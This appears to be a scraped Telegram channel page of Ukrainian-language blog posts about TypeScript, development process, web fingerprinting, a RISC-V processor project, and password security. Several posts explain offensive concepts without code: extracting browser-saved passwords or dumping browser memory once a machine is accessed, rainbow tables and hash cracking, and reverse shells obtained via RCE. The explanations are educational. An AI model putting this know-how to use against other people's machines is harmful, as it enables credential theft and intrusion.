wild_wild_web | Unsorted

Telegram-канал wild_wild_web - Wild Wild Web

-

Полезные заметки о TypeScript и обо всем, что его окружает

Subscribe to a channel

Wild Wild Web

Streamlined Development

В мене у твітері вчора спитали, що таке streamlined development. Трохи в реплаях поспілкувались та вирішив трішечки розкрити цю тему. Що я взагалі вкладаю в поняття streamlined development?

Загалом, це дуже розлоге поняття, яке насправді може нести навіть різний сенс в різних організаціях, бо реалізації можуть різнитись. В цілому, це поняття, яке описує що в організації процеси розробки побудовані таким чином, що дозволяють планомірно передавати результат роботи від однієї команди до іншої.

Скажімо, команда розробки закінчила робити якусь фічу, передала її в QA, й одразу взялась за іншу фічу. QA зробивши свою роботу, передає роботу далі, скажімо, в operations, щоб ті на staging залили. Й так далі й тому подібне аж до доставлення результату роботи до клієнтів.

Так от коли ось цей процес побудований таким чином, що мінімізується повернення роботи на попередні стадії або ж коли для передачі роботи далі відсутні критичні блокери — ось це, в моєму розумінні, streamlined development. Тобто робота йде рівномірно - "за потоком".

Toyota!
Представте собі, що ви стоїте на заводі, де збирають Toyota. Бачите конвеєри, по яких йде машинка. Бачите людей, які стоять біля цих конвеєрів, й кожен виконує свою частинку роботи.

От тільки замість машин, там наші з вами результати роботи. Хтось написав код, хтось тримає операційну інфраструктуру, хтось намагається продати й так далі.

Так от, представте собі, що цей конвеєр дуже часто йде в реверс (повернення роботи). Люди які стоять далі точки повернення, не отримують роботи, а ті хто стоїть перед точкою повернення, отримують її ще більше. Бо потрібно не тільки нові задачі закривати, а ще й ті, що повернулись назад.

І навпаки. Представте, що є блокер, який гальмує весь конвеєр й люди перед цією точкою з блокером отримують дуже багато задач, які вони не можуть далі просунути, навіть якщо вони зроблені. Це призводить до великої кількості Work In Progress (WIP) на цих точках. Його стає все більше й більше, поки вже весь конвеєр не зупиняється не в змозі обробляти більше, ніж найслабший елемент в цьому ланцюжку.

От якщо ці дві проблеми, або якась із них, присутня в процесах організації, то я б не сказав, що в організації присутні елементи streamlined development, а навіть навпаки.


То чого ми тут сидимо?
Але звучить це все дуже легко. Що складного в тому щоб робити менше, деліверити більше і єдинороги поміж людей, правда? На практиці, реалізувати такі процеси це доволі складно й мало кому вдається. Можу сказати з особистого досвіду, що з усіх проєктів, команд та компаній, з якими я співпрацював за більш ніж десяток років вже, найкраще це було реалізовано в Wix.


Шо по культурі?
Поговорімо про деякі buzz-words, які на мою думку, можуть допомогти з наближенням до цього яскравого майбутнього. Їх застосування не гарантує що у вас буде streamlined development, бо дуже багато факторів не є технічними, а суто соціальними та культурними. Тому аналізуйте свою реальність та думайте що найкраще спрацює в ваших обставинах.


Trunk-Based Development
Основна ідея цього підходу в тому, що команда відмовляється від довгоживучих гілок, такі як release, develop, etc. Найменші зміни одразу заливаються в основну гілку. Варто зазначити, що гілки нікуди не діваються, ви все ще з ними працюєте, просто вливається це все одразу в main після review і такі гілки живуть від декількох годин до, ну максимум, пару днів.


CI/CD
Не наявність білд сервера, а саме культура CI/CD. Trunk-based development якраз корелює з цією культурою, бо постійне вливання змін в основну гілку стимулює частіше інтегруватись (Continuous Integration) з основною кодовою базою, але невеликими пачками. Ці невеликі пачки проходять через білд сервер, які одразу ж йдуть на доставлення в прод після мержа (Continuous Delivery). Доставляти в прод по декілька раз за годину — ось це CI/CD.

Ще скільки хочеться розповісти, але вже ліміт повідомлення. Тому поки закінчуємо і якщо у вас є бажання подискутувати, прошу до коментарів. Всім гарного дня!

Читать полностью…

Wild Wild Web

Трішки про аналітику

Друзі, зʼявилось бажання трішки розповісти вам про сучасні механізми трекінгу. Одразу зазначу, що я не є людиною, яка на цих знаннях побудувала успішні продукти чи карʼєру, але дотично так чи інакше, мої руки працювали з подібними речами. Тому, спробую розповісти те що сам знаю й з чим стикався й про що згадав. В жодному разі не претендую на вичерпний тред, тому додавайте свої історії та кейси в коментарях. Погнали!

Clickstream Data
Перше що мені спало на думку, про що було б мені цікаво написати, це - User Interaction Analysis. Різні джерела це можуть називати по різному, але +\- термін зводиться до user interaction. В чому полягає суть?

В режимі реального часу, вебсайт чи мобільний застосунок, постійно записує те, як ви керуєте курсором, які посилання натискаєте, куди скролите і так далі й тому подібне. Все це записується на стороні клієнта і там вже, залежно від реалізації у конкретного вендора, це або йде в сирому вигляді на сервери, або ж в пре-агрегованому стані, в якому вже прораховані важливі якісні метрики.

Для чого збираються такі дані? Такі дані потім агрегуються в те, що називають Clickstream Data. З цього складається потім ціла історія того, як конкретна людина користується застосунком чи сайтом. Які кнопки вона помітила чи ні? Чи пройшла вона до кінця funnel-а? Чи придбала вона ту книгу онлайн, чи ні? Можливо вона хаотично бігає по сайту, бо не в змозі знайти потрібну їй секцію? І купа інших запитань, відповіді яких можна отримати із clickstream data.

Проте, якщо ми говоримо про етичну та юридичну складову, такі дані не мають йти разом з PII (Personal Identifiable Information). Тобто, якщо не заходити в сіру зону, то можна сказати, що всі ці дані не корелюють з вами, як з особистістю напряму. Є інші для цього інструменти :)


Device Fingerprinting
Один із них, найпоширеніший, це - fingerprinting. На відміну від всяких штук, як cookies чи ще якісь хранілки даних, які можна видалити та почистити, з fingerprinting воювати складніше. На чому базується його ідея?

Навіть зараз, я пишу цей текст, на своєму власному ноутбуці, який є моїм особистим девайсом. Так от мій ноутбук має достатньо унікальних характеристик, які в купі, можуть доволі непогано ідентифікувати мене в кластері інших даних. В ці характеристики входить ДУЖЕ багато інформації, починаючи від звичайного браузера, яким я користуюсь, й закінчуючи навіть списком встановлених шрифтів.

І от тепер представте собі, що зібралась Clickstream Data й для того, щоб її розбити по "особистостям", до цих даних підмішується результат роботи fingerprinting. В купі, наявність всіх цих data point-ів, дає змогу досить непогано ідентифікувати когорти людей, а в деяких випадках, навіть, проводити паралелі з цифровими профілями конкретних людей.

Щоб погратись й подивитись, що fingerprinting може дістати по вашому девайсу, ось, до прикладу демонстраційний майданчик - https://www.deviceinfo.me. Варто зазначити, що у вендорів, які виділяють на це бюджети, очевидно, механізми набагато кращі. Про один із них я заїкнусь, але багато розповідати не буду :)


Audio Fingerprinting
До прикладу, Audio Fingerpinting використовує Web Audio API, щоб проаналізувати, як ваш конкретний девайс обробляє аудіо. Генерується аудіо сигнал, який кидається на Web Audio API, а потім збирається результат роботи обробки цього сигналу. Результат хешується й ось у нас унікальний знімок конкретно вашого девайса, бо різні девайси дадуть різний результат.


Не влізаємо в ліміт
Щось я багато тексту написав, а тому завершуймо. Всі ці дані, про які я написав вище, складають кластери data point-ів: інформація про ваш конкретний пристрій, яка ОС, які шрифти, яке залізо, ваші поведінкові риси, навіть те, як ви курсором водите чи телефон скролите. Все це разом дає змогу доволі непогано ідентифікувати ваші пристрої серед купи інших даних — ваш цифровий профіль.

Не буду заходити в сіру зону, щоб не розводити теорії змов, залишу це вам. Дякую, що дочитали до кінця :)

Читать полностью…

Wild Wild Web

Кодогенерація TypeScript клієнтів до OpenAPI

Нещодавно мені знадобилось комунікувати з одним із провайдерів Kubernetes кластерів для e2e тестів. Це потрібно було для того, щоб можна було із Jest по запиту створювати чистий кластер, куди розгорнути систему для тестів і прогнати їх. Так от у цього провайдера (Vultr) не було клієнтів, а тільки OpenAPI Specification їх API.

Відповідно, тут або ми самі робимо клієнта для Vultr, або ж... генеруємо код цього клієнта на основі їх специфікації.

OpenAPI Generator
Я одразу спробував "офіційні" генератори на https://openapi-generator.tech/ і зрозумів що досі з цим є проблеми. Основна проблема, як на мене, це те що всі ці генератори досі генерують код на основі рендерингу шаблонів. Ну типу, у вас є певний Handlebars template, наприклад, а ви його рендерите на основі тих параметрів, які були передані в генератор.

Особисто для мене, це взагалі no-go. Чому? Бо ви генеруєте код, який має бути interoperable з тим кодом, який ви пишете в себе. Код, який рендериться як шаблон, цих речей не може гарантувати від слова "зовсім". Ви не знаєте для якого оточення той шаблон з кодом писався, як він перевірявся, чи гарантується його робота в іншому оточенні? То не код, то текст. Альтернатива?

Генерація коду через API компілятора
Альтернатива полягає в тому, що замість генерації коду, як тексту, ви генеруєте внутрішнє представлення для компілятора. У випадку з TypeScript, його API надає всі необхідні фабрики для створення AST TypeScript програми. Маніпулюючи цим деревом, ви відтворюєте реалізацію клієнта для OpenAPI у внутрішньому представленні компілятора — це важливо.

Коли необхідна структура побудована, залишається лише викликати принтер цього AST в файл і компілятор сам згенерує текстове представлення цієї програми відповідно до його внутрішніх очікувань\механізмів\whatever.

Концептуально це дуже відрізняється від всіляких handlebars чи mustache шаблонів тим, що ви оперуєте не звичайним текстом, а деревом, яке є внутрішнім представленням для компілятора і ближчим до нього, аніж текст.

oazapfts!
І виявилось, після моїх довгих пошуків і декількох розчарувань, що багато хто досі "генерує" код через шаблони, що є бібліотека, яка генерує код, використовуючи TypeScript Compiler API - oazapfts!

Як вона працює? Ви їй через CLI вказуєте шлях до OpenAPI Spec і вказуєте шлях, куди покласти TypeScript файл з клієнтом до цього API. Згенерований файл може бути частиною вашого build pipeline, бути частиною вашого tsconfig, як вам зручно. Це такий же вихідний код, як і ваші інші файли вашого проєкту.

Важливий момент, до речі, мова не йде про "просто типи для API". Йдеться про повноцінний клієнт, який в runtime надає вам весь необхідний код для виконання викликів, їх обробку, й це все, очевидно, type-safe.

Деякі моменти
Особисто в мене, з моїми строгими профілями для TypeScript та ESLint, код, який був згенерований, не проходив деякі перевірки. В такому разі, я просто виніс цей процес в окремий пакет зі своїм package.json.

Build pipeline для цього пакету складається з: дістань спеку -> виклик oazapfts -> згенерований код поклади в src -> виклик звичного TS + ESLint для цього TS файлу і поклади в dist. Також, в цьому пакеті окремі профілі для TS, ESLint, які послабшають очікування до коду.

Результат
В нас є свій внутрішній клієнт vultr-client, який дистрибутиться як звичайний пакет, але який повністю автоматизований і не потребує їсти.

Якщо комусь потрібно комунікувати з Vultr, він ставить собі цей пакет, як залежність, й отримує type-safe API разом з рантайм кодом до Vultr.

https://github.com/oazapfts/oazapfts

Читать полностью…

Wild Wild Web

DOU Day 2024

Всім привіт! Мені тут нагадали, що в мене, виявляється, канал в Telegram є, про який я успішно забув 😄

Зі всією цією роботою й справами забігався і якось воно пішло в історію. Проте, згадавши, що в мене є канал і тепер ще й робота, де я вирішую купу різних цікавих проблем, я думаю повернутись до його ведення та розповідати про них [проблеми].

Станом на сьогодні, я працюю над системою, яка дозволяє робити scheduling повідомлень "в майбутнє". І у всій тій архітектурі є і Kafka і Kubernetes і самописні оператори з CRD і багато-багато TypeScript та платформенних самописних бібліотек, які я пишу по ходу діла. Паралельно з цим проходитиму сертифікацію AWS. А поки я думатиму, про що цікавого написати згодом, хочеться сказати вам про DOU Day 2024.

18 травня в Києві відбудеться перша велика конференція DOU Day. На ній будуть 22 спікери, 4 треки, інтерактиви та панельні дискусії. А ще 24 березня, найбільшій IT-спільноті України виповнюється 19 років.

На честь цього вони дарують ком’юніті знижку! З 22 до 25 березня діє -19% на regular-квитки. Частину прибутку від події DOU передадуть на ЗСУ. Деталі тут: https://dou.ua/dou-day-2024/

Тому пропоную побачитись на конференції, понетворкатись :)

Читать полностью…

Wild Wild Web

ARVES - Рухаємось в напрямку тестування нашого процесора

Всім привіт! Нещодавно в мене таки вийшло розібратись з тим, як налаштувати тестування RISC-V процесора. Це виявилось не дуже простою задачею, але було дуже цікаво. Якщо коротко, то це вам не npx jest 😅

Для цього я обрав тестовий фреймворк, який називається RISCOF. Він під собою приховує дуже багато рутинної роботи, яку нам би довелось робити самим, а тому я обрав його та почав з ним розбиратись та що взагалі потрібно робити.

І це виявилось не так просто, як я того очікував, тому записав окремо відео з процесом налаштування цього RISCOF, причому, тільки для boilerplate. Тобто мова ще не йде про інтеграцію ARVES з RISCOF. Поки ми говоримо тільки про налаштування оточення, яке необхідне для того, щоб цей RISCOF взагалі запрацював.

Тож якщо вам цікаво подивитись який хардкор (ну... для когось може й не хардкор) відбувався поки я намагався це все запустити, то прошу до перегляду відео. Гарного всім дня!

https://www.youtube.com/watch?v=sG6mFy9s4qo

Читать полностью…

Wild Wild Web

ARVES - Памʼять для даних

Всім привіт! Я майже місяць витратив на те, щоб нормально відпочити, але під час цього відпочинку я також думав і про дизайн системи на чипі з оперативною пам'яттю 😅

Там є свої нюанси, повʼязані із конфліктами сигналів на шинах, а тому там потрібно розводити інструкції по часу, щоб цього не було. А це значить, що доведеться робити буферні регістри, state машини в ядрі й так далі, а цього робити в пет-проєкті я якраз би й не хотів.

Тому після декількох спроб зробити різні варіанти, я все ж таки визначився з реалізацією та зробив новий компонент, який буде надавати RAM (Random Access Memory).

Хотів ще додати й підтримку машинних інструкцій для читання з памʼяті та запису в неї, але відео й так вийшло доволі довгим, а тому вирішив зробити це вже в наступному відео.

Тож, якщо вам цікаво подивитись на процес розробки RAM на VHDL, то прошу до перегляду!

https://youtu.be/E2HibkX0KAs

Читать полностью…

Wild Wild Web

Реалізація RISC-V ядра на VHDL

Всім привіт! Вирішив на днях все-таки поєднати всі ті компоненти процесора, що я робив до цього, щоб отримати вже примітивне RISC-V ядро. Нехай вас не збиває з пантелику "RISC-V ядро", бо насправді там лише підтримка ALU операцій. Нагадаю, що я зараз хочу зробити мінімальний продукт, який буде працювати та який можна буде тестувати. А тому я поки не фокусуюсь на всіх інструкціях, а тільки необхідних для перевірки дизайну в цілому.

Про це все, про процес реалізації цього ядра та процес його симуляції й перевірки можете подивитись в цьому відео. В кінці, в мене все-таки вийшло запустити дві машинні інструкції послідовно та отримати очікуваний результат. Тож, якщо цікаво, запрошую до перегляду!

Ну і пізніше я думаю зробити, можливо, вже памʼять для інструкцій хоча б, щоб можна було робити типу ROM з прошивкою, яка завантажується і це ядро саме бере кожну наступну інструкцію й виконує її. Але подивимось, як воно піде 😅

Читать полностью…

Wild Wild Web

Історії з RISC-V процесором, чати, форма для відгуків

Всім привіт! Дуже давно мене не було на цьому каналі, я вже майже й забув про нього 😅 Хочеться, щоб тут були якісні пости з цікавим, як дехто каже, авторським контентом, а тому тут й рідко щось відбувається.

Вступ до RISC-V процесора
Весь цей час, що мене тут не було, я цікавився процесорами, але цього разу, вже процесорами, на яких можна було б запустити щось серйозніше, аніж іграшкові програми. Тому я вибудував стратегічну мету, про яку я детальніше розповідав в цьому відео. В ідеалі, було б непогано писати програми на Rust та компілювати під свій процесор.

Огляд RISC-V архітектури
Але свій процесор не може бути просто "процесор". Він має реалізовувати певну абстрактну машину, специфікацію, Instruction Set Architecture. А тому, я обрав RISC-V специфікацію, яку й намагаюсь реалізувати у своєму процесорі. Детальніше про RISC-V специфікацію я розповідав в цьому відео.

Реалізація ALU в VHDL
Маючи певну картину того, що має бути зроблено, я почав з реалізації арифметично-логічного юніту (ALU) за допомогою мови опису заліза - VHDL. З її допомогою, я описав поведінку ALU та реалізував підтримку всіх арифметичних та логічних операцій, які мають бути в RISC-V процесорі. Детальніше про це я розповідав в цьому відео. Там же я роблю й перші симуляції цієї системи, щоб перевіряти, що воно починає працювати як я того очікую.

Регістри процесора в VHDL
І вчора я закінчив робити регістри процесора, в яких можна буде брати операнди для ALU або ж записувати результат роботи ALU в обраний регістр. Про реалізацію регістрів та як він повʼязаний з ALU я розповідаю в цьому відео. І, звичайно, реалізую це на VHDL та роблю симуляції роботи регістрів процесора.

Далекі мрії
Очевидно, що роботи ще багато, якщо я хочу мати реалізацію RISC-V процесора та мати можливість запускати на ньому принаймні примітивні програми, написані на Rust. Але я до цієї мети йду потроху й не намагаюсь будувати якихось дедлайнів, а тому шанси наче є, як на мене 🙃

Проходження NandGame
Нагадаю, що ця вся історія з процесорами почалась з іграшки NandGame, проходження якої ви можете подивитись в цьому списку відтворення.

Форма відгуку
В планах в мене ще багато всього, що потрібно зробити, аби наш RISC-V процесор запрацював, а тому ще буде багато чого розповісти та показати. Цікаво, до речі, дізнатись вашу думку щодо постів в цьому каналі й на YouTube. Чи не буде це багато постів, якщо я буду постити нове відео кожного разу сюди? Та й взагалі, було б цікаво дізнатись вашої думки щодо контенту. Звук? Картинка? Монтаж? Тематика? Якщо вам не ліньки витратити 2 хвилини вашого часу на анкету, то я б хотів попросити вас її заповнити, щоб розуміти свої слабкі місця, які потрібно ще прокачати. Зробив це формою на гугл ось тут.

Чати для спілкування
Ну і звісно ж нагадаю, що є чат, приєднаний до цього каналу, є коментарі на каналі, так що можемо ділитись своїми думками, питати в мене, може я щось цікаве розповім, та й просто можемо там спілкуватись. Там багато різних людей з різним досвідом та експертизою, а тому може бути цікаво. Людей поки небагато в чаті, всі свої, а тому якихось тематичних рамок там немає. Раптом що, то звісно будемо обговорювати (а там може телеграм й топіки підтягне?).

P.S.
Знаю, що це пост більш організаційний, а не технічний, як колись, але вважаю що інколи організаційні питання також треба підіймати. Та й бачите, що я ж більше на YouTube переїхав й там зараз більше граюсь, аніж тут, так що вибачайте. Anyway, це все що я хотів сказати станом на зараз, а тому побажаю вам гарного дня ☀️

Читать полностью…

Wild Wild Web

Advent of Code

Трішки з запізненням пишу про це, але так склалось, що я вчора доробляв своє останнє відео з проходженням NandGame, тому пишу про це зараз, а не першого грудня 🙈

З концепцією Advent календарів наче всі знайомі... Так от є такий "календар" тільки для програмістів - Advent of Code. Його суть в тому, що вам там кожного дня відкривається нова задачка, яку вам треба вирішити. При цьому, неважливо якою мовою програмування, якою хочете.

Пропоную почати разом проходити цей Advent of Code, а для обговорень, якщо у вас немає з ким обміркувати, можете доєднуватись до чату. Я його щойно зробив відкритим. Ну і якщо що, то я зараз почну з першого дня, спробую наздогнати 😅

P.S. Так, NandGame вже в минулому, гра пройдена й проходження я записував сюди в плейлист

Читать полностью…

Wild Wild Web

🥳 2-га річниця Wild Wild Web 🥳

Рівно два роки тому, 21 вересня 2020 року, я створив канал та написав свій перший пост про TypeScript. Ніякого плану в мене не було, але було бажання розповідати про щось цікаве, з чим я стикався на роботі, або просто читаючи новини зі світу TypeScript. Навіть й канал тоді називався якось типу "Wild Wild Web - TypeScript Notes" чи щось таке.

Але час йшов та згодом я зрозумів, що якось тільки про TypeScript говорити не дуже то й цікаво. Є ж багато інших тем, про які можна розмовляти. Так канал трансформувався (у свою першу річницю) в "Wild Wild Web" й отримав свій теперішній логотип. Ідея була така, щоб підіймати різні теми, не обмежуючись тільки якимось конкретним стеком технологій. З цією ідеєю ми прожили майже ще один рік і потім...

Повномасштабна війна в Україні, волонтери, добровольчі формування територіальних громад, збройні сили України та багато інших формувань стали нашим пріоритетом. Тоді я й подумати не міг, що сьогодні я зможу писати цей пост. Тому не забуваємо, завдяки кому та за якою ціною це все можливо сьогодні та допомагайте всім чим можете, тим, хто цього потребує.

В режимі повномасштабної війни ми дійшли до 21 вересня 2022 року - 2-га річниця цього каналу. І я все думав, щоб такого зробити на цю дату для Wild Wild Web... Згадав, що бувають ситуації, коли просто текстом на каналі не обійдешся, а то й взагалі не помістишся в обмеження по розміру поста. Та й готувати текстову версію з купою скриншотів також не краще заняття. Тому я вирішив на другу річницю зробити наступне.

Я створив YouTube канал, який називається так само як і Telegram канал - Wild Wild Web. Його основна ціль, принаймні на сьогодні, це бути майданчиком для контенту, який важко зображати в текстовому вигляді. Якщо зʼявиться цікава тема, яку хотілось би з вами обміркувати, але цю тему складно оформити в текстовому вигляді, то це буде якесь невеличке відео на цьому каналі.

Більш того, для того, щоб попрактикуватись в монтажі відео, в умінні говорити на камеру та не боятись її, відшліфувати всілякі проблеми які можуть виникати по ходу діла й купа іншого — я вирішив почати з невеличкого пілотного проєкту, який я хотів зробити вже давно. Навіть якщо воно виглядатиме дуже погано й нецікаво, мені буде не так соромно за це, тому що я розумію що на цьому проєкті я тренуюсь та вчусь, тому помилки дійсно очікувані.

Цей проєкт оснований на такій грі, як NandGame. Ті хто мав час з нею гратись, вже зрозумів що буде далі. Це гра в браузері, яка дозволяє побудувати свій власний процесор та з кожним рівнем знайомить нас зі всілякими компонентами процесора, які ми й самі будуємо. Всі ж згодні з тим, що кращий спосіб в чомусь розібратись це побудувати своє з нуля? Однак, назвати цей іграшковий процес "з нуля" буде дуже гучним словом. В цій грі багато спрощень, багато деталей навмисно приховується, щоб не завантажити нас настільки, щоб наш мозок впав в кому. З усім тим, вона все-таки дає нам певні орієнтири та базове розуміння того, як працюють процесори.

От саме про цю гру я й хотів би більше поговорити та розказати про неї, тому що, на мою думку, вона дійсно цікава. Більш того, я зробив під кожен рівень в грі окреме відео, яке ви зможете знайти в списках відтворення - "Розбираємось з NandGame". Кожне із цих відео ставить собі за мету пройти рівень та показати вам як виглядає рішення. В ідеалі, ще й спробувати пояснити чому воно то все працює (але це не точно, то вже як вийде).

Цей проєкт ще в роботі, але там вже є готові рішення на логічні вентилі, арифметичні блоки та свічі (15 відео). Залишилось розібратись з ALU, пам'яттю та самим процесором (також 15 відео). Ці відео будуть доповнюватись в список відтворення по ходу діла.

Мені здається, що такий контент буде цікавим для людей, яким цікаво отримати загальне розуміння того як працюють процесори, але при цьому вони ніколи з цим не стикались навіть й близько. Ну і навряд це буде цікаво тим, хто знає про "професора Фортран" (так, я настільки старий вже).

Всім бажаю гарного дня, хоч і осінь та русня ускладнює це. Все буде Україна 🇺🇦

Читать полностью…

Wild Wild Web

Чи вразливі менеджери паролів в браузерах?

В попередніх постах я написав велике полотно про те, що треба користуватись менеджерами паролів, для того, щоб зберігати свої паролі. В коментарях згадали про вбудовані менеджери паролів в браузерах і я б хотів більш розгорнуто поговорити тепер про них.

Менеджери паролів в браузерах недостатньо захищені
Так, все вірно. Це може здатись декому дуже категоричною заявою, але це так. Спробуймо розібратись, чому саме, та як саме хакер зможе дістати ваші паролі в ситуації з браузерним менеджером паролів.

Браузер зберігає паролі в зашифрованому вигляді?
Коли ви створюєте акаунт на якомусь сервісі та натискаєте "Зберегти пароль" в браузері, він не зберігається в зашифрованому вигляді. Більш того, ви можете піти в налаштування браузера та подивитись всі ці паролі й ніхто у вас не спитає ваш ключ для дешифрування, бо, очевидно, його немає. По замовчуванню, браузери не запитують у вас ключ для шифрування чи дешифрування сховища з паролями, що робить його вразливим.

То як дістати паролі, якщо я умовний хакер?
Розташування цих сховищ також відоме і при доступі до вашої машини, ці паролі можна буде дістати в чистому вигляді, як вони там і зберігаються.

Хакери навіть розробили скрипти для цього, які дозволяють в автоматичному режимі просканувати систему на наявність сховищ з паролями із браузерів і видасть вам список з акаунтів та паролів, якщо такий знайдеться.

Я зараз нікого не накручую і не драматизую, так і є. Якщо ви отримуєте доступ до машини, то витягнути паролі з браузера це питання запуску одного скрипту.

Але ж є нюанси? Звісно, є!
По перше, хакеру треба отримати доступ до вашої машини. Неважливо як саме він це зробить. Чи через фішингову атаку, чи через вразливості якихось сервісів на вашій машині, чи банально вкраде його, а ви не маєте пароля на ньому (і таке буває).

По друге, в залежності від комбінацій операційної системи та браузера, там по різному відбувається цей процес.

Наприклад, якщо взяти Firefox на Windows, то там дійсно питання запуску одного скрипту. Тому якщо ви користуєтесь Firefox-ом, то я б радив поставити Master Password для сховища.

Але якщо взяти MacOS та Safari, то внаслідок тісної звʼязки з Apple ID, це вже складніше. Деталей я не знаю, я думаю, що вони використовують якісь ключі, які згенеровані під ваш Apple ID. Ну і факт того, що при спробі подивитись збережені паролі, він у вас запитує пароль від вашого локального акаунту, то щось таке там дійсно є.

Якщо взяти Chrome та Windows, то там начебто в ролі ключа для шифрування використовується пароль від вашого Google акаунта в браузері. Підозрюю, що така ж логіка і на MacOS. Що також ускладнює процес.

Є ще один спосіб, як це можна зробити
Якщо з захистом не все так погано і там є ключі та оце все, все ще можна спробувати дістати паролі через дамп процесу з браузером. Знову ж таки, якщо хакер отримав доступ до вашої машини, а у вас запущений браузер, то можна спробувати зробити дамп процесу разом з пам'яттю і вже потім можна буде знайти в дампі паролі. Для цього також є інструменти, які допомагають з цим.

В якій ситуації я б сказав, що цей пост неактуальний?
Я відмовлюсь від цієї позиції та цих слів, коли браузери почнуть питати ключ для шифрування сховищ з паролями, а не просто по замовчуванню будуть зберігати його в чистому вигляді. Ну або, хоча б, попереджували користувачів, коли їх паролі зберігаються в незахищеному сховищі.

Чим виграють менеджери паролів?
Вони по замовчуванню працюють тільки через Master Password і по другому ніяк. Тобто ви із коробки отримуєте enforcement того, що сховище буде зашифроване вашим ключем, який ви створили.

Чи є десь курс про цю тему?
Так, є курс на цю тему, але я чесно не памʼятаю як він називався. Це було з академії на Hack The Box, де показувались практичні кейси, на яких ви отримували паролі із браузерів. В тому числі скрипти, які витягують це все в автоматичному режимі.

Епілог
Наголошу ще раз, що багато відіграє саме те, який браузер використовується та на якій ОС та чи є Master Password. В одній комбінації може бути все погано, а в другій — нормально.

Читать полностью…

Wild Wild Web

Навіщо менеджери паролів? (#2)

Перебір паролів
Ключова ідея хешування була в тому, що скільки б разів ви не хешували дані, при одних і тих же вхідних даних ви отримуєте той же хеш. Інакше, ви б не могли порівнювати що хеші збігаються з тим, що в вашій базі даних.

Хакери дуже швидко це збагнули та почали просто перебирати різні варіанти, поки вони не отримають хеш, який збігається з тим що є в базі даних. Алгоритм дій дуже простий. Спочатку спробуємо чи підходить пароль "а". Ми візьмемо "а", опрацюємо його через md5, а отриманий хеш порівняємо з тим, що є в базі даних. Не збіглося? Спробуймо "б", опрацюємо через md5 та порівняємо і так далі. Ідея зрозуміла.

Як тільки хакер знаходить хеш, який збігається з тим, що є в базі даних, він знаходить пароль. Бо він знає що цей хеш був отриманий із такого-то слова, наприклад "qwerty". І паролі знов опинились під загрозою. Хакери почали їх перебирати та вже згодом зрозуміли, що це довго.

Навіщо перебирати кожного разу?
Пізніше, хакери збагнули, що через те, що хеші завжди одні й ті ж самі від тих самих паролів, вони почали робити їх словники. В цих словниках були наперед прораховані паролі та їх хеші. Якщо ми візьмемо пароль "а" сьогодні, та пароль "а" завтра, md5 хеш від них буде такий же. То візьмімо і хеш до пароля "а" та збережемо!

Згодом, маючи словник таких паролів, його пошук став дуже простим. Все що вам потрібно, це просто знайти в цьому словнику хеш, який у вас на руках, та подивитись, який текст використовувався до нього як вхідні дані.

Можете почитати детальніше, в тому числі й про веселкові таблиці (термін не звучить, але не знаю як перекласти). Якщо ви колись використовували сервіси типу "от тобі md5, скажи що там було", то вони використовують ці словники та таблиці.

А якщо у двох користувачів такий самий пароль?
Що ще хакери успішно використовували, так це той факт, що якщо пароль у двох людей однаковий, то і його хеш буде збігатись. Тобто, якщо ви успішно атакували хеш та отримали пароль, ви могли бути впевнені в тому, що якщо є такий же хеш у другого користувача, то він використовує такий же пароль — економія часу!

Від цієї атаки почали захищатись тим, що впровадили сіль. Сіль — це випадково згенерований рядок, який додається до пароля. Коли користувач дає свій пароль, до цього пароля додається унікально згенерований рядок, сіль, що робить його пароль унікальним серед всіх користувачів, навіть якщо паролі такі ж самі.

Це захищало від атаки, коли хакер отримував базу даних з паролями та мав словники. Навіть якщо в нього були великі веселкові таблиці, вірогідність того що в них будуть "посолені" паролі була мала. Та й навіть якщо він успішно атакував один із них, він не міг бути впевненим до якого користувача знайдений пароль підійде. Бо у кожного користувача своя сіль, унікальний хеш, незрозуміло, в кого такий самий пароль. Тому й атака повинна була йти під кожного користувача окремо — дорого!

Еволюція алгоритмів для паролів
Нині, алгоритмів для хешування паролів купа. Багато з них дають вам із коробки й сіль й купу ітерацій й математичні моделі, які захищають від швидкого перебору.

Вже навіть існує формат пароля, в якому зберігається сам пароль і його сіль та алгоритм, який використовувався. До прикладу, візьмемо bcrypt та пароль "qwerty". Отримаємо ось такий рядок - $2a$10$CeTrZ5IL4QXk85rZEcKOY./L4fDlaO50s..Q.poVUdDyULl7jtIFK. В цьому рядку 2a вказує на те що це bcrypt, 10 вказує на кількість ітерацій і далі сіль та сам пароль. Інструменти на кшталт hashid вміють такі паролі ідентифікувати, це щось типу "стандарту", але не дуже стандарт 🙃

Якщо паролі так сильно захищаються, навіщо різні паролі?
В тому то й проблема, що ви не знаєте як ваші паролі захищаються на тих сервісах які ви використовуєте. Ви можете сміятись, але я своїми очима бачив ситуації, де пароль досі зберігається в plain text. Тому, you never know.

От до прикладу, ви використовуєте один пароль на всі сервіси. Один із сервісів виявляється не таким класним в плані зберігання паролів і його атакували, тим самим зловмисники отримали пароль до вашого акаунту. Що вони можуть з цим зробити?

Читать полностью…

Wild Wild Web

Reverse Shell та Bind Shell

Дуже часто ці два терміни використовуються у світі інформаційної безпеки, та що вони значать? Особисто для мене, зрозуміти різницю між ними було не дуже легко на початку. Але як виявилось, вона все ж таки є.

Почну з того, що зрозуміти буде простіше, бо ми всі це дуже часто використовуємо в повсякденній роботі.

Bind Shell
Всі працювали з SSH, виконували команду ssh username@ip і підʼєднувались до якогось віддаленого сервера для подальшого керування ним.

В цьому випадку, на віддаленому сервері виконувалась програма, яка надає реалізацію ssh. Ця програма постійно слухала на порту 22 (по замовчуванню) вхідні зʼєднання і як тільки це зʼєднання відбувалось — ви отримували shell.

Тобто, в цій схемі, віддалений сервер очікує зʼєднання, а ініціатор зʼєднання — ви, клієнт. От це і називається Bind Shell-ом. На віддаленому сервері "bindиться" порт, який очікує зʼєднання від вас.

І це все добре працює, якщо ви очікуєте що хтось буде до цього віддаленого сервера підʼєднуватись. А якщо ні?

Reverse Shell
І тут ми приходимо до самого цікавого. Reverse Shell це все те саме що й з Bind Shell. Але! Ролі ініціатора та очікувача міняються місцями, звідси й "Reverse".

Якщо в випадку з Bind Shell віддалений сервер очікує зʼєднання, то в випадку з Reverse Shell зʼєднання очікуєте ви, на своїй локальній машині. Ініціатор також міняється місцями. У випадку Bind Shell, ініціює зʼєднання клієнт, як от з ssh, а у випадку з Reverse Shell ініціює зʼєднання віддалений сервер.

Тепер обʼєднаємо з RCE
Згадуємо попередній пост, де я писав про Remote Code Execution. Маючи можливість виконувати код на віддаленому сервері, ми частіше всього зможемо й створити Reverse Shell!

